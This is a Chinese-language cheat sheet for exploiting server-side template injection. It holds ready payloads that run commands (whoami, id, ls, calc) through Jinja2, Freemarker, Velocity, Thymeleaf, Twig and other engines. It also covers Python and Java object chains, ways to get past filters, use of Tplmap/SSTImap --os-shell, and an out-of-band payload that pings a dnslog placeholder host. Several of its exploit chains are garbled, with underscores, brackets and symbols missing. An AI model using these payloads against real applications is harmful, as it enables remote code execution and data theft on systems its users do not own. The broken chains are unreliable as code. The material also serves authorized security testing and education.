1. 核心概念与分类
SSTI的本质是用户输入被作为模板内容直接拼接并渲染。根据结果可分为:
- 有回显:注入的表达式结果直接显示在页面上。
- 盲注/无回显:结果不显示,需通过DNS外带、时间延迟等方式判断。
2. 常见模板引擎与测试Payload(关键识别点)
确定模板引擎是第一步 ,可通过报错信息、特定语法或通用测试值(如${7*7}、{``{7*7}}、<%= 7*7 %>)的反应来判断。
|------------|--------------------|----------------------------------------------------------------------------------------------------------|
| 语言 | 模板引擎 | 典型Payload / 特征 |
| Python | Jinja2 (Flask) | {``{7*7}} -> 49;{``{config}} 可泄露配置。 |
| | Tornado | {``{7*7}};{% import os %}{``{os.system('whoami')}} |
| | Django | {``{7*7}} -> 77(字符串拼接);{``{settings.SECRET_KEY}} |
| Ruby | ERB | <%= 7*7 %>;<%= system('ls') %> |
| Java | Freemarker | ${7*7};<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("ls")} |
| | Velocity | #set($x=7*7)$x;#set($e=$class.inspect("java.lang.Runtime").getRuntime().exec('whoami')) |
| | Thymeleaf | ${7*7};${T(java.lang.Runtime).getRuntime().exec('calc')}(需看版本) |
| PHP | Smarty | {$7*7};{php}echo id;{/php}(旧版) |
| | Twig | {``{7*7}};{``{_self.env.registerUndefinedFilterCallback("exec")}}{``{_self.env.getFilter("whoami")}} |
3. 通用利用思路(构造Payload的方法论)
- 探寻基类 :找到当前上下文可用的对象,向上追溯其基类,最终找到所有类的根类(如Java的
Object,Python的object)。 - 寻找危险子类 :从根类向下,寻找可用的危险子类或方法 (如可以执行命令的
Runtime、os,可以读文件的File,可以进行JNDI注入的InitialContext等)。 - 实例化与调用:通过模板引擎的语法实例化该类并调用其方法。
-
Python (Jinja2) 经典链:
找到object:''.class.mro[2]
找子类:''.class.mro[2].subclasses()
找可执行命令的类(如warnings.catch_warnings,其
__init__方法有__builtins__){{''.class.mro[2].subclasses()40.communicate()}}
-
Java (Freemarker) 经典链:
// 直接利用内建函数执行命令
<#assign ex="freemarker.template.utility.Execute"?new()> {ex("id")} // 或利用Runtime {"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}
4. 攻击面挖掘(黑盒功能点)
渗透测试中应重点关注以下可能使用模板的功能点:
- 用户资料/页面个性化 :如用户名、昵称、签名档的显示。尝试填入
{``{7*7}},看个人主页是否解析。 - 博客/论坛帖子:评论、文章内容支持富文本或特定标记语言时。
- 错误页面:某些框架允许自定义错误页,错误页内容若包含用户输入(如URL路径),可能导致SSTI。
- 邮件内容:系统发送的邮件内容由模板生成,且部分内容用户可控(如找回密码链接中的用户名)。
- 密码重置功能:重置链接中的Token参数若被模板解析。
- 模板编辑功能:后台允许编辑模板文件(高危功能)。
5. 工具使用建议
- Tplmap:经典工具,支持多种引擎的自动化检测与利用。
- SSTImap:更活跃的fork,支持更多引擎和绕过技术。
- 使用场景:
-
- 检测阶段 :用工具的
-u或--data参数快速探测所有已知引擎。 - 利用阶段 :工具成功识别引擎后,可使用
--os-shell尝试获取交互式shell。 - 注意:工具并非万能,复杂环境或WAF绕过仍需手工调整。
- 检测阶段 :用工具的
6. 实战注意事项与技巧
- 报错是金 :故意输入错误语法(如
{``{7*'7'}}),从详细报错信息中获取模板引擎类型、框架版本甚至部分代码路径。 - 盲注与带外 :无回显时,可尝试执行
ping、curl、dnslog等带外通道命令。
-
- Python示例:
{``{''.__class__.__mro__[2].__subclasses__()[40]('ping your.dnslog.cn', shell=True)}}
- Python示例:
- 绕过过滤:
-
- 拼接 :
'c'+'at'或"c"~"at"(不同语言语法) - 编码:使用Unicode、Hex绕过关键字过滤。
- 利用环境变量 :
$PATH等。 - 利用模板引擎特性 :如Jinja2的
|attr()过滤器绕过点号过滤。
- 拼接 :
- 权限与语言:确认后端语言和框架后,针对性地构建利用链。Java SSTI(如Freemarker)常能直接RCE,Python SSTI(如Jinja2)则需要更复杂的对象链寻找。
💡 总结
SSTI的核心是将用户输入与模板渲染代码混淆。挖掘时,要对任何可能被"二次处理"和"格式化"的用户输入保持敏感。利用时,需遵循"基类→子类→危险方法"的思路,结合有回显/无回显手法,并善用工具辅助识别。在复杂的Java框架中,SSTI常与表达式注入(如SpEL)结合,形成新的攻击面。
